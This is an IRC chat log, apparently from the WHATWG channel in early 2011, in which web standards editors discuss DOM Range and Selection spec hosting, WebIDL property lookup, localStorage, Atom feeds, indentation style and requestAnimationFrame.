"Mercurial does not do a good job of detecting busted merges and refusing to proceed, so just by closing a window you can unwittingly put yourself in a bad state. Grown men have been known to walk away from whole hg trees containing many hours' worth of work, citing inexplicable hg behavior, because of a bad merge."

[09:40:02.0000] <AryehGregor>
That's good to know, isn't it?

[09:40:03.0000] <AryehGregor>
/me STABSTABSTAB

[09:42:00.0000] <AryehGregor>
SyntaxError: Specification not found: domps.

[09:42:01.0000] <AryehGregor>
Ms2ger, ^^

[09:43:00.0000] <AryehGregor>
I did hg pull and hg update in data/.

[09:43:01.0000] <Ms2ger>
Forgot to push, sorry

[09:45:00.0000] <Ms2ger>
Okay, pull again

[09:48:00.0000] <AryehGregor>
Okay, works.

[09:49:00.0000] <annevk>
dglazkov, you mean you want inheritance?

[09:49:01.0000] <dglazkov>
annevk: no, just better syntax

[09:49:02.0000] <TabAtkins>
annevk: No, just a readable way to talk about potentially nested shadow tree parts.

[09:49:03.0000] <annevk>
dglazkov, nothing comes to mind right now, except that for captioning there is a similar "issue"

[09:49:04.0000] <dglazkov>
annevk: the inheritance is already there.

[09:50:00.0000] <annevk>
dglazkov, might be worth checking if that can be reconciled

[09:50:01.0000] <TabAtkins>
Yeah, captioning gets a bit simpler since there's no nesting (or rather, the nesting that does happen isn't important enough to care about).

[09:50:02.0000] <annevk>
i.e. WebSRT creates some kind of subtree too

[09:54:00.0000] <AryehGregor>
Ms2ger, I've signed up to Bitbucket as aryeh.

[09:55:00.0000] <Ms2ger>
AryehGregor, you should now be able to push

[09:56:00.0000] <AryehGregor>
Ms2ger, could you confirm that this looks reasonably sane first?  https://bitbucket.org/aryeh/dom-range

[09:57:00.0000] <AryehGregor>
I'm not sure the merge worked right.

[09:58:00.0000] <AryehGregor>
Argh, the fact that my e-mail address is different for one of them will bother me forever.

[09:58:01.0000] <AryehGregor>
In git I'd fix it . . . but let me just not bother.  Sigh.

[09:58:02.0000] <annevk>
chill ;)

[09:59:00.0000] <Ms2ger>
That looks fine

[09:59:01.0000] <AryehGregor>
/me is too perfectionist sometimes

[09:59:02.0000] <AryehGregor>
k, pushed.

[10:01:00.0000] <matjas>
TabAtkins et al, let me know if you want this account: http://twitter.com/csscommits

[10:02:00.0000] <matjas>
/me is hoping for @whatwg-style Twitter feed

[10:02:01.0000] <annevk>
I should set something like that up for specs I edit

[10:02:02.0000] <Ms2ger>
http://html5.org/specs/dom-range.html#dom-selection-extend

[10:03:00.0000] <Ms2ger>
<cers> it seems like it's not supposed to be possible to create a linear gradient where the gradient line doesn't go through the element center - am I really reading the w3c draft correctly? http://dev.w3.org/csswg/css3-images/#linear-gradients

[10:03:01.0000] <Ms2ger>
TabAtkins, ^

[10:04:00.0000] <TabAtkins>
matjas: Right now I've got a new gmail inbox subscribed to the list, and a php script successfully connecting.  I'm just trying to figure out how to use the horrible imap interface to read messages, then I'll construct an RSS feed from it.

[10:04:01.0000] <matjas>
TabAtkins, does this help? http://stackoverflow.com/questions/114953/how-to-get-email-and-their-attachments-from-php/115017#115017

[10:05:00.0000] <matjas>
annevk +1

[10:05:01.0000] <TabAtkins>
Ms2ger: There's no difference where the linear gradient "goes through".  I define it in terms of going through the center because it's easy, but you can shift what point you want to think about it going through with no problem.

[10:05:02.0000] <TabAtkins>
matjas: Ooh, yes, that's perfect.

[10:07:00.0000] <Ms2ger>
https://bitbucket.org/cynthia/twt

[10:13:00.0000] <annevk>
Ms2ger, oh, that looks nice

[10:14:00.0000] <annevk>
Ms2ger, then I can just make a simple shell script wrapper around what I need to do now

[10:14:01.0000] <Ms2ger>
/me didn't even realize it was relevant, just thought it was interesting

[10:16:00.0000] <annevk>
I registered http://twitter.com/annevkbot for this purpose, but am gonna watch some TV instead of making it work today :)

[10:18:00.0000] <annevk>
oh, Ms2ger, that uses a) Python and b) the now obsolete API

[10:18:01.0000] <Ms2ger>
Fun

[10:18:02.0000] <annevk>
but I can simply reuse the logic for WebAppsTweet

[10:18:03.0000] <TabAtkins>
Hm, I need to go commit something real quick so I can test this properly.

[10:19:00.0000] <AryehGregor>
Hixie, okay, I think I'm done with extend() for now.  Tests at <http://aryeh.name/spec/dom-range/test/selection-extend.html>, spec at <http://html5.org/specs/dom-range.html#dom-selection-extend>.

[10:21:00.0000] <AryehGregor>
On to modify()!

[10:21:01.0000] <AryehGregor>
I guess for this one I'm reverse-engineering mostly WebKit, since they made it up.

[10:24:00.0000] <annevk>
http://blog.whatwg.org/another-whatwg-weekly#comment-42599 are actually pretty good questions

[10:24:01.0000] <annevk>
Hixie, ^^

[10:24:02.0000] <AryehGregor>
Ms2ger, why is DOM Range not in W3C space again?  There's a component for it in the WebApps WG bug tracker.

[10:25:00.0000] <TabAtkins>
annevk: So basically "adopt CSS's versioning model"?

[10:26:00.0000] <annevk>
AryehGregor, no group is chartered for it

[10:26:01.0000] <AryehGregor>
annevk, we can't say it's part of HTML or web apps?

[10:28:00.0000] <annevk>
AryehGregor, I guess it can be argued it is part of WebApps per http://www.w3.org/2010/webapps/charter/#maintenance

[10:29:00.0000] <AryehGregor>
Stuff like this is even part of HTML.

[10:29:01.0000] <annevk>
AryehGregor, the W3C made it all difficult for Ms2ger to contribute with Web DOM Core though... but maybe that is over now and otherwise a WebApps WG member can put his/her name on it and ship it

[10:29:02.0000] <annevk>
AryehGregor, you think it is problematic that it is hosted on html5.org?

[10:30:00.0000] <AryehGregor>
No, not really.

[10:30:01.0000] <AryehGregor>
othermaciej was annoyed about it the other day, though.

[10:31:00.0000] <othermaciej>
annoyed about what?

[10:33:00.0000] <AryehGregor>
About DOM Range not being in W3C space, because you wanted to point some people to it.

[10:33:01.0000] <othermaciej>
I was sad that document.getSelection() got removed from the spec with no W3C-space replacement

[10:33:02.0000] <AryehGregor>
Right

[10:33:03.0000] <AryehGregor>
.

[10:33:04.0000] <othermaciej>
I don't care about DOM Range

[10:33:05.0000] <AryehGregor>
getSelection() is in DOM Range.

[10:33:06.0000] <othermaciej>
it's not even clear to me why Selection has to be in the same spec as DOM Range

[10:33:07.0000] <othermaciej>
since it never was before

[10:33:08.0000] <AryehGregor>
Well, the current spec refers normatively to the behavior of Ranges.

[10:34:00.0000] <AryehGregor>
Since various operations on Selections return Ranges.

[10:34:01.0000] <AryehGregor>
W3C specs are presumably not supposed to normatively reference things hosted on someone's Bitbucket account.

[10:34:02.0000] <othermaciej>
anyway, it would be nice if the draft could be submitted to either HTML WG or Web apps WG

[10:34:03.0000] <AryehGregor>
What's the procedure for that?

[10:35:00.0000] <annevk>
othermaciej, neither editor is a Member of the WG

[10:35:01.0000] <AryehGregor>
I'm a member of the HTML WG.

[10:35:02.0000] <othermaciej>
both editors are members of the HTML WG afaict

[10:35:03.0000] <annevk>
AryehGregor, this would be a WebApps deliverable

[10:35:04.0000] <AryehGregor>
Why?

[10:35:05.0000] <AryehGregor>
Selection used to be in HTML5.

[10:35:06.0000] <othermaciej>
http://www.w3.org/2000/09/dbwg/details?group=40318&public=1

[10:36:00.0000] <annevk>
Because maintenance of DOM Range is in the WebApps charter

[10:36:01.0000] <annevk>
Anyway, feel free to argue with the W3C Team :)

[10:37:00.0000] <othermaciej>
other than the usual patent policy stuff, the use I had for a Selection spec in W3C space was to tell people there was no point in a <selection> or <caret> element, since you just use the Selection API to manage the selection

[10:37:01.0000] <othermaciej>
unfortunately it got removed from HTML5, and pointing to a random bitbucket directory would likely have not impressed my audience

[10:37:02.0000] <annevk>
othermaciej, http://html5.org/specs/dom-range.html

[10:38:00.0000] <annevk>
which in turn can be found via http://wiki.whatwg.org/wiki/Specs

[10:39:00.0000] <AryehGregor>
Which in turn would not have impressed his audience.

[10:39:01.0000] <othermaciej>
if I point to that, it will start an argument over why it's not in the draft any and why there isn't a copy in W3C space at all, and I'd rather not start that debate

[10:39:02.0000] <AryehGregor>
othermaciej, can you tell me how to submit a draft?

[10:40:00.0000] <othermaciej>
for HTML WG I can tell you, but anne may have a point that it should be submitted to Web Apps WG

[10:40:01.0000] <AryehGregor>
Which I'd then have to join, right?  Is it open membership like the HTMLWG?

[10:41:00.0000] <othermaciej>
I don't think so, but if you ask the chairs to add you as an invited expert and explain your purpose, it shouldn't be a problem

[10:45:00.0000] <AryehGregor>
Well, I'll do it if Hixie says it's part of my job (which I wouldn't mind).  Otherwise it sounds like too much effort when I have better things to do.

[10:50:00.0000] <AryehGregor>
Ms2ger, why does <span data-anolis-spec=html>ASCII case-insensitive</span> not work?

[10:51:00.0000] <AryehGregor>
/me isn't quite clear on this xref thing

[10:52:00.0000] <Ms2ger>
Make that =domcore

[10:53:00.0000] <Ms2ger>
More generally, because I don't have a full list of HTML's definitions

[10:54:00.0000] <AryehGregor>
Okay, thanks.

[10:54:01.0000] <AryehGregor>
In principle, is there any reason data-anolis-spec should usually be needed?  Couldn't Anolis be adapted to figure out the spec from the name?  It would be nice if all this could be less verbose to write.

[10:58:00.0000] <Ms2ger>
It could, but I tend to prefer making external links explicit

[10:59:00.0000] <Ms2ger>
And it'd mean I'd have to implement that :)

[11:03:00.0000] <TabAtkins>
Son of a...  How do you deal with diffs that may include "<!--" in an atom feed?

[11:04:00.0000] <Ms2ger>
In general, I believe the answer would be "not"

[11:04:01.0000] <AryehGregor>
. . . Escape the "<"?

[11:04:02.0000] <AryehGregor>
I mean, aren't you escaping the feed contents?

[11:04:03.0000] <TabAtkins>
AryehGregor: But I'm trying to send it as text.  I guess I can send as html and do double-escaping?

[11:05:00.0000] <Ms2ger>
You need to escape in any case, no?

[11:05:01.0000] <AryehGregor>
How is it different from any case where the feed contents contain "<"?

[11:05:02.0000] <AryehGregor>
Atom is XML, yes?

[11:06:00.0000] <Ms2ger>
"XML"

[11:06:01.0000] <AryehGregor>
Presumably any consumer will un-escape the contents of elements before displaying them.

[11:06:02.0000] <AryehGregor>
I thought RSS was "XML" and Atom was XML.

[11:06:03.0000] <Ms2ger>
Well, RSS would be """XML"""

[11:06:04.0000] <Ms2ger>
Atom is XML+encoding fixup, iirc

[11:14:00.0000] <Ms2ger>
/me has submitted an invited expert application for the WebApps WG

[11:14:01.0000] <Ms2ger>
We'll see how it goes...

[11:22:00.0000] <AryehGregor>
Ms2ger, why doesn't your data have all the definitions from HTML5?  Isn't the list autogenerated?

[11:22:01.0000] <Ms2ger>
No

[11:22:02.0000] <AryehGregor>
Hurrah.

[11:22:03.0000] <Ms2ger>
It has the dozen or so definitions I've needed so far

[11:22:04.0000] <AryehGregor>
/me adds another one to his local copy

[11:23:00.0000] <Ms2ger>
Note that the key needs to be lowercase

[11:23:01.0000] <AryehGregor>
Noted.

[11:57:00.0000] <TabAtkins>
matjas: http://www.xanthir.com/feed/public-css-commits/

[11:58:00.0000] <Ms2ger>
TabAtkins, you win

[11:59:00.0000] <AryehGregor>
Oh, no.  modify() in WebKit depends on whether the thing you're dealing with is actually visible.

[11:59:01.0000] <TabAtkins>
No, Ms2ger, the web wins.  Subscribed to the list with a throwaway gmail account, used PHP's imap support to scrape the inbox, published as Atom, viewing in Google Reader.

[11:59:02.0000] <AryehGregor>
It skips over display: none and who knows what else.

[11:59:03.0000] <AryehGregor>
Also visibility:hidden.

[12:00:00.0000] <Ms2ger>
I'd rather you don't spec that ;)

[12:00:01.0000] <AryehGregor>
/me checks that Firefox doesn't do it

[12:00:02.0000] <AryehGregor>
Nope, it doesn't.

[12:01:00.0000] <AryehGregor>
I'm going to side with sanity here.

[12:01:01.0000] <AryehGregor>
I didn't try following the WebKit source code, but I wouldn't be surprised if visibility depends on some deep and magical stuff.

[12:02:00.0000] <TabAtkins>
Now I need to figure out how to (a) receive mail at my domain, (b) configure sendmail to pipe mail through a PHP script, and (c) use the twitter API to create a twitter feed.

[12:02:01.0000] <AryehGregor>
Now, should I spec exception-throwing like Firefox too, or fail silently like WebKit?  Firefox's behavior matches the rest of the API a lot better, but WebKit has all the deployment . . .

[12:02:02.0000] <AryehGregor>
But I guess not too many people are using it yet, since only WebKit supports it, right?  So I'll go with Firefox there too.

[12:04:00.0000] <Ms2ger>
We can fix if it doesn't work out

[12:06:00.0000] <Hixie>
it's fascinating to see how people think versions gave them all these features (stability, browsers implemented particular versions of specs, etc) that are completely at odds with reality

[12:07:00.0000] <AryehGregor>
What exception should I throw for passing an invalid argument, like "foo" instead of "move" or "extend"?  Firefox does some NS_ERROR_NOT_IMPLEMENTED which doesn't appear to match any DOM exceptions.

[12:07:01.0000] <AryehGregor>
(I'm asking in case anyone else has had to decide this before, so I can be consistent.  I'd go with NOT_SUPPORTED_ERR if there's no precedent, probably.)

[12:11:00.0000] <Ms2ger>
SYNTAX_ERR is what insertAdjacentHTML throws

[12:11:01.0000] <AryehGregor>
What spec is that in?

[12:12:00.0000] <Ms2ger>
HTML

[12:12:01.0000] <bfrohs>
Hixie, I think a lot of it has to do with the fact that it has been released in versions. I remember when I was first starting out (barely) and when I found the specs, I assumed they were written first and implemented the same across browsers. It didn't take long to figure out how wrong I was, but that was long ago. Nowadays, basic features used by beginners work fairly consistently (as far as they can tell) across browsers, so their assumption t

[12:12:02.0000] <bfrohs>
akes a stronger hold. Hopefully with a 'living standard' in place, new authors will realize the truth.

[12:13:00.0000] <AryehGregor>
SYNTAX_ERR looks good to me.

[12:17:00.0000] <Ms2ger>
TabAtkins, all entries seem to have the same title

[12:17:01.0000] <TabAtkins>
Ms2ger: There's only one entry.

[12:18:00.0000] <Ms2ger>
I see 4

[12:18:01.0000] <TabAtkins>
view-source:http://www.xanthir.com/feed/public-css-commits/

[12:18:02.0000] <TabAtkins>
Only 1.

[12:18:03.0000] <TabAtkins>
Get a better feed reader?

[12:21:00.0000] <TabAtkins>
Ms2ger: Do the entries have the same body, too?

[12:21:01.0000] <Ms2ger>
No

[12:21:02.0000] <Ms2ger>
There's three writing-modes ones and one flexbox

[12:22:00.0000] <Ms2ger>
grep for <entry> on view-source:http://www.xanthir.com/feed/public-css-commits/

[12:23:00.0000] <TabAtkins>
Oh, I see the problem.  (1) I was looking at a cached version. (2) I don't reset an array.

[12:23:01.0000] <TabAtkins>
One sec.

[12:23:02.0000] <Ms2ger>
Get a non-caching feed reader ;)

[12:24:00.0000] <TabAtkins>
I was looking at the source!

[12:24:01.0000] <TabAtkins>
Google Reader hadn't updated yet.

[12:24:02.0000] <TabAtkins>
Anyway, fixed.

[12:25:00.0000] <TabAtkins>
Hm, no, not quite right yet.

[12:27:00.0000] <TabAtkins>
Okay, fixed.

[12:37:00.0000] <Ms2ger>
Works!

[12:39:00.0000] <Hixie>
bfrohs: i hope so

[12:43:00.0000] <jgraham>
AryehGregor: You work for Hixie now?

[12:43:01.0000] <jgraham>
/me is behind again

[12:44:00.0000] <jgraham>
Also, how come hospitals have WiFi yet mobile phones are prohibited?

[12:44:01.0000] <TabAtkins>
To fight terrorism.

[12:44:02.0000] <jgraham>
/me assumes there is soome good technical reason but can't really think of it right now

[12:45:00.0000] <AryehGregor>
jgraham, yes, I sold my soul to him and I now have an irresistible compulsion to obey any order he gives me.

[12:45:01.0000] <AryehGregor>
Also, I'm working part-time at Google and he's the one in charge of my contract.

[12:45:02.0000] <jgraham>
Ah, nice

[12:45:03.0000] <jgraham>
I didn't know that

[12:45:04.0000] <AryehGregor>
Why would you assume there's a good technical reason?

[12:45:05.0000] <jgraham>
Because it's a hospital, not an airport?

[12:46:00.0000] <AryehGregor>
. . . so?

[12:46:01.0000] <AryehGregor>
I'd bet it's that someone made up a regulation at some point in the distant past when cell phones were becoming common but Wi-Fi wasn't widespread.

[12:46:02.0000] <AryehGregor>
(maybe not an actual law, could be hospital-specific, I dunno)

[12:46:03.0000] <TabAtkins>
That's my guess too.

[12:46:04.0000] <jgraham>
Well it seems like a somewhat-legitimate concern

[12:47:00.0000] <jgraham>
I was thinking that maybe mobile phones are either higher power or a frequency more likely to interfere with equipment

[12:47:01.0000] <jgraham>
But it could just be politics and not physics

[12:49:00.0000] <AryehGregor>
What frequencies do these things use?

[12:50:00.0000] <jgraham>
WiFi is 2.4Ghz iirc

[12:50:01.0000] <gsnedders>
jgraham: 802.11n has a 5GHz mode as well

[12:50:02.0000] <AryehGregor>
Same order of magnitude as cell phones, right?

[12:50:03.0000] <gsnedders>
jgraham: (dunno about anything apart from bgn, though)

[12:52:00.0000] <jgraham>
It must be a power thing if it is anything physicsy I think

[12:53:00.0000] <jgraham>
But see also http://www.timesonline.co.uk/tol/news/uk/health/article5458433.ece

[12:54:00.0000] <jgraham>
Anyway, time for The News Quiz

[12:54:01.0000] <jgraham>
(comedy satite and hence much less geeky than it sounds, for those unfamiliar with the BBC radio 4 schedule)

[12:54:02.0000] <jgraham>
*satire

[13:16:00.0000] <Hixie>
who do i speak to for gecko's localStorage stuff? anyone know?

[13:17:00.0000] <Hixie>
AryehGregor: 2.4GHz has an omnidirectional range of a few hundred meters at best and doesn't go through obstacles well at all, so i sure hope it's not the same as cell phones :-)

[13:18:00.0000] <AryehGregor>
But for instance, GSM works in frequency bands like 900, 1800, or 2100 MHz.

[13:19:00.0000] <Hixie>
GSM is about 800MHz and 1.9GHz; 3G is about 700MHz and 2GHz

[13:19:01.0000] <AryehGregor>
So how does it have much longer range?

[13:19:02.0000] <Hixie>
beats me

[13:23:00.0000] <TabAtkins>
Lower Hz = bigger wavelength = longer range and better penetration

[13:26:00.0000] <Hixie>
TabAtkins: yes but they're not particularly lower frequencies

[13:26:01.0000] <Hixie>
TabAtkins: 4G is higher, even

[13:26:02.0000] <TabAtkins>
Hm, I dunno then.

[13:32:00.0000] <Hixie>
where does webidl define what happens when i call storage[3] if storage has no indexed properties but has a named property '3' ?

[13:32:01.0000] <Hixie>
heycam?

[13:32:02.0000] <heycam>
hey Hixie

[13:33:00.0000] <Hixie>
oops, brb

[13:33:01.0000] <heycam>
there'll be no property named "3" on the object

[13:33:02.0000] <heycam>
so it'll just do regular property lookup and return undefined (assuming no property named "3" from the prototype)

[13:40:00.0000] <TabAtkins>
heycam: But Hixie just said that it has a named property '3'.  So it'd just return that, right?

[13:41:00.0000] <heycam>
oh, misread

[13:41:01.0000] <heycam>
/me would have to look that up!

[13:43:00.0000] <heycam>
the value of the named property is returned

[13:44:00.0000] <heycam>
it's defined by whether a property that corresponds to the "3" named property has been created on the object

[13:45:00.0000] <heycam>
but that depends on the state of the object at the point "3" becomes a supported property name

[13:45:01.0000] <heycam>
no, I'm wrong! :D

[13:45:02.0000] <heycam>
http://dev.w3.org/2006/webapi/WebIDL/#named-properties

[13:46:00.0000] <heycam>
step 4 says to never create named properties that look like array indexes, if the object supports indexed properties

[13:47:00.0000] <dglazkov>
heycam: where are my use caseseeses!

[13:47:01.0000] <dglazkov>
/me sure is demanding

[13:47:02.0000] <heycam>
dglazkov, yeah sorry we haven't had time to look at it!

[13:47:03.0000] <dglazkov>
:)

[13:47:04.0000] <heycam>
are you working to a short schedule?

[13:47:05.0000] <dglazkov>
heycam: no, I just like to nag

[13:47:06.0000] <heycam>
:)

[13:48:00.0000] <heycam>
it's likely something we're not going to get some time to look for the next month or so

[13:48:01.0000] <heycam>
at least, I won't be able to

[13:49:00.0000] <dglazkov>
ok, good to know

[13:49:01.0000] <dglazkov>
I'll nag in a month

[13:49:02.0000] <heycam>
we (SVG WG)'ve got a F2F at the end of February, so I will try to make sure we discuss it then

[13:50:00.0000] <heycam>
dglazkov, are you doing the implementation in WebKit?

[13:50:01.0000] <dglazkov>
can you discuss rolling SVG into HTML then? :P

[13:50:02.0000] <dglazkov>
heycam: along with other peeps

[13:50:03.0000] <heycam>
yeah, sure :)

[13:50:04.0000] <heycam>
cool cool

[14:09:00.0000] <Hixie>
heycam: but if it _doesn't_ support indexed properties, and you index by numeric value 3, and there's a named property with string value "3", you'll get the value of the named property?

[14:09:01.0000] <Hixie>
heycam: i couldn't find where the spec said that the number became a string

[14:09:02.0000] <heycam>
Hixie, yes that's right. it's more like the number was always a string...

[14:10:00.0000] <heycam>
property names always being strings in JS

[14:10:01.0000] <Hixie>
[3] gets converted to a string and then back to a number if there's indexed properties?

[14:10:02.0000] <heycam>
yes, it looks up the property named "3"

[14:10:03.0000] <heycam>
just like on native JS arrays

[14:10:04.0000] <Hixie>
interesting

[14:10:05.0000] <Hixie>
ok

[14:10:06.0000] <Hixie>
thanks

[14:10:07.0000] <heycam>
implementations often optimize though, to avoid unnecessary parsing/conversion

[14:11:00.0000] <heycam>
np

[14:11:01.0000] <Hixie>
heycam: hey while i have you here, any idea who on gecko works on localStorage? I think we'll have to drop the indexed properties and leave only the named ones because gecko's the only one who followed the spec and did the indexed ones.

[14:11:02.0000] <Hixie>
and it's not a backwards compatible change for the others

[14:11:03.0000] <heycam>
Hixie, I don't know, but surely sicking should know

[14:11:04.0000] <Hixie>
(and one of the others is IE, so it's a long-term thing if it does have to change)

[14:11:05.0000] <Hixie>
sicking: ping

[14:11:06.0000] <sicking>
Hixie: short-pong

[14:11:07.0000] <sicking>
gotta run in 5

[14:12:00.0000] <Hixie>
sicking: webstorage - who do i speak to at geckoland?

[14:12:01.0000] <sicking>
Hixie: honza iirc

[14:12:02.0000] <Hixie>
thanks

[14:12:03.0000] <sicking>
:mayham in our bugzilla

[14:13:00.0000] <Hixie>
k

[14:57:00.0000] <Yuhong>
Hixie: I was reading your articles about tag soup. Have you heard of mangleme?

[15:08:00.0000] <TabAtkins>
Dammit, Hixie, why'd you have to write the Lists spec with 2-space indentation?  Now I've gotta reformat the whole thing.  >_<

[15:14:00.0000] <Hixie>
TabAtkins: o_O

[15:15:00.0000] <TabAtkins>
I can't write html with spaces for indentation.  I just can't.  But I can't have an inconsistent spec, either.

[15:16:00.0000] <TabAtkins>
Jeez, and you're internally inconsistent, too.  >_<

[15:18:00.0000] <benschwarz>
Hixie: !!

[15:19:00.0000] <benschwarz>
I hope you're wearing socks

[15:19:01.0000] <TabAtkins>
So they can be blown off?

[15:19:02.0000] <benschwarz>
My man!

[15:19:03.0000] <benschwarz>
haha

[15:20:00.0000] <benschwarz>
check the dev spec

[15:20:01.0000] <Hixie>
benschwarz: hey sup

[15:20:02.0000] <Hixie>
benschwarz: looking

[15:20:03.0000] <Hixie>
TabAtkins: what do you use instead?

[15:21:00.0000] <TabAtkins>
Tabs, like sane people?

[15:21:01.0000] <bfrohs>
/me is insane for using single-space indentation

[15:22:00.0000] <TabAtkins>
Yes you are.  Also: evil.

[15:22:01.0000] <bfrohs>
Apologies, evil as well hahah

[15:22:02.0000] <Hixie>
tabs are crazy, because different people have different tab stop definitions, unless you use the default, which is 8 chars and is FAR too wide for sane readability

[15:22:03.0000] <jamesr____>
tabs are evil

[15:22:04.0000] <bfrohs>
I'm with Hixie on this one

[15:22:05.0000] <Hixie>
personally i prefer single-space indentation for markup

[15:23:00.0000] <Hixie>
sicking: apparently i want meyhemer, not honza; honza is apparently your firebug guy

[15:23:01.0000] <TabAtkins>
Um, what.  The entire *point* of using tabs is that they're configurable.

[15:23:02.0000] <bfrohs>
I can't do anything other than single-space... because of tab issues in different editors and pressing a key more than once (and readability)

[15:23:03.0000] <sicking>
Hixie: they're both Honza

[15:23:04.0000] <Hixie>
oh.

[15:23:05.0000] <Hixie>
wait

[15:23:06.0000] <Hixie>
what?

[15:23:07.0000] <Hixie>
/me gets a headache

[15:23:08.0000] <benschwarz>
Hixie: the search, the search damnit!

[15:23:09.0000] <bfrohs>
TabAtkins: some editors change tabs to spaces though :(

[15:23:10.0000] <sicking>
Hixie: there are multiple Honzas

[15:24:00.0000] <TabAtkins>
bfrohs: Those editors are broken and stupid, and I don't use them.

[15:24:01.0000] <Hixie>
benschwarz: what am i looking for exactly?

[15:24:02.0000] <Hixie>
/me pat pats TabAtkins 

[15:24:03.0000] <benschwarz>
1. Open your eyes :)

[15:24:04.0000] <benschwarz>
Hixie: the search, top right of every page

[15:24:05.0000] <Hixie>
wow i didn't even see that

[15:24:06.0000] <benschwarz>
although, I do need to re-browser test

[15:25:00.0000] <Hixie>
heh, searching for "introduction" isn't helpful :-P

[15:25:01.0000] <sicking>
Hixie: to make it more fun. They're both called "Jan". Apparently Honza is a common check nickname for Jan

[15:25:02.0000] <franksalim>
http://www.jwz.org/doc/tabs-vs-spaces.html

[15:25:03.0000] <TabAtkins>
Anyway, changing everything over to tabs, since you're inconsistent between 1 and 2 spaces.

[15:25:04.0000] <Hixie>
so long as i never have to edit it again, wfm :-)

[15:25:05.0000] <franksalim>
also, TabAtkins, have a look at the Smart Spaces plugin for gedit, which is not broken nor stupid :-)

[15:27:00.0000] <TabAtkins>
franksalim: I can already unindent like if I was using tabs, because I'm using tabs.

[15:27:01.0000] <Hixie>
benschwarz: can you make the arrow keys not scroll while the search thing is up?

[15:28:00.0000] <benschwarz>
Hixie: we can do a bunch of things, but its a line in the sand, anyway

[15:28:01.0000] <benschwarz>
I need to figure out the mobile issues that popped up after it gets minified

[15:30:00.0000] <Hixie>
sicking: the Honza I got in contact with told me the other Jan's nick was meyhemer, but there's no meyhemer online

[15:30:01.0000] <Hixie>
sicking: i think i'll just make this change to the spec and cc him... do you know what his e-mail address is?

[15:30:02.0000] <franksalim>
TabAtkins: at the cost of having barbaric 0x09s in your files

[15:31:00.0000] <TabAtkins>
My namesake!

[15:31:01.0000] <heycam>
SpaceSpaceSpaceSpaceAtkins

[15:42:00.0000] <paul_irish>
Hixie: i'm working with ben to fix that scrolly action. it was bugging me too

[15:43:00.0000] <Hixie>
cool

[15:50:00.0000] <cying>
what is the best way to specify the title of an audio song in an html5 audio tag?

[15:51:00.0000] <cying>
e.g: <audio src="foo.mp3"></audio> <!-- need to have title specified as "This is the Song Title" -->

[15:51:01.0000] <jamesr____>
heycam: i wanna document my proposed modifications to requestAnimationFrame. should i just wget the sources from your mozilla web page, modify Overview.xml, and run 'make'?

[15:52:00.0000] <Hixie>
cying: title=""

[15:52:01.0000] <TabAtkins>
cying: <h1>This is the song title</h1><audio src=foo.mp3>

[15:52:02.0000] <heycam>
jamesr____, let me check that all the sources are there

[15:52:03.0000] <Hixie>
cying: or, if you're using <figure>, <figcaption>.

[15:52:04.0000] <jamesr____>
if i do that is there any good way to diff things?

[15:52:05.0000] <heycam>
jamesr____, yeah they're all there. just run make. (it just relies on xsltproc.)

[15:52:06.0000] <cying>
Hixie: interesting i didn't see that in the audio spec... is it somewhere else?

[15:53:00.0000] <heycam>
jamesr____, hmm in the past I have used daisydiff, an html diff tool

[15:53:01.0000] <heycam>
jamesr____, which works as long as the documents aren't massive

[15:53:02.0000] <jamesr____>
heycam: cool. honestly i'm mostly gonna delete stuff

[15:53:03.0000] <Hixie>
cying: see what?

[15:53:04.0000] <heycam>
jamesr____, progress is being made on where the spec is going to live, but if you want to send comments before it's up officially, please send them to public-fx

[15:53:05.0000] <jamesr____>
heycam: will do

[15:54:00.0000] <heycam>
jamesr____, yeah the spec at the moment is a bit more convoluted than it need to be, probably, in terms of managing the timing of animations

[15:54:01.0000] <cying>
Hixie: the title attribute... but i found it in the table of contents

[15:54:02.0000] <jamesr____>
yeah i'm not totally happy with what it says about declarative animations

[15:54:03.0000] <cying>
Hixie: i wasn't sure if <track> was appropriate for this situation

[15:54:04.0000] <heycam>
yeah I think it promises things which you can't actually do

[15:54:05.0000] <jamesr____>
verily

[15:55:00.0000] <Hixie>
cying: track is for captions and subtitles

[15:55:01.0000] <jamesr____>
heycam: so my preference would be to spec out the imperative animation stuff by itself

[15:55:02.0000] <heycam>
jamesr____, ok it might make sense to start from that (since it's the more important part anyway)

[15:56:00.0000] <jamesr____>
right

[15:58:00.0000] <cying>
Hixie: very interesting. thanks! i'll add that behavior in

[15:59:00.0000] <jamesr____>
heycam: i'd also like to add a second parameter to requestAnimationFrame of type Element that is the element the animation is associated with

[15:59:01.0000] <jamesr____>
heycam: the idea being that if that the UA could tell that element was not visible to the user, it could avoid invoking the callback

[15:59:02.0000] <heycam>
jamesr____, what would that be used for?


2011-01-29
[16:00:00.0000] <jamesr____>
if you have a canvas with an animation, say, it's kind of silly to invoke the callback if the canvas is scrolled way offscreen

[16:00:01.0000] <heycam>
avoid or throttle down?

[16:00:02.0000] <heycam>
(and this would be an optional parameter I guess?)

[16:00:03.0000] <jamesr____>
avoid

[16:00:04.0000] <jamesr____>
and yeah

[16:00:05.0000] <jamesr____>
if you don't specify a parameter then it's implicitly the document or whatever

[16:01:00.0000] <heycam>
ok my concern would be that the results of the animation (element position or whatever) might be used by scripts on the page so we might need to still run them

[16:01:01.0000] <heycam>
but the author could just not associate it with the element in that case

[16:01:02.0000] <jamesr____>
right. if they need the thing to run when the element is offscreen then they don't pass the parameter in

[16:01:03.0000] <jamesr____>
i want to get some more author feedback about how useful this mechanism is

[16:02:00.0000] <heycam>
that would be good (the feedback)

[16:02:01.0000] <heycam>
was there a proposal recently on the mailing list about determining whether an element is visible?

[16:02:02.0000] <heycam>
or was that for a whole page?

[16:03:00.0000] <jamesr____>
that was about determining if a page was visible

[16:03:01.0000] <jamesr____>
authors can currently detect whether an element is visible to some degree, but nobody bothers

[16:03:02.0000] <jamesr____>
so i'd like to make that the default behavior

[16:03:03.0000] <jamesr____>
imagine a web page with 5 animated banner ads implemented as <canvas>. it'd be really awesome if the default behavior was that we only spent CPU updating animations on the ones that were visible

[16:04:00.0000] <heycam>
yeah. seems good to me at first glance.

[16:06:00.0000] <benschwarz>
Hixie: the <header> is inside the <head>, any ideas?

[16:06:01.0000] <Hixie>
benschwarz: context?

[16:07:00.0000] <benschwarz>
ha. sorry

[16:07:01.0000] <benschwarz>
apparently I only told the voices in my head :/

[16:07:02.0000] <benschwarz>
after the spec splitter runs, I find <header class="head"> inside the <head> element

[16:07:03.0000] <benschwarz>
not sure exactly when it occurs yet, but it does…

[16:08:00.0000] <Hixie>
odd

[16:08:01.0000] <Hixie>
dunno

[16:08:02.0000] <Hixie>
gsnedders, jgraham, and Philip` might know

[17:22:00.0000] <Rik`>
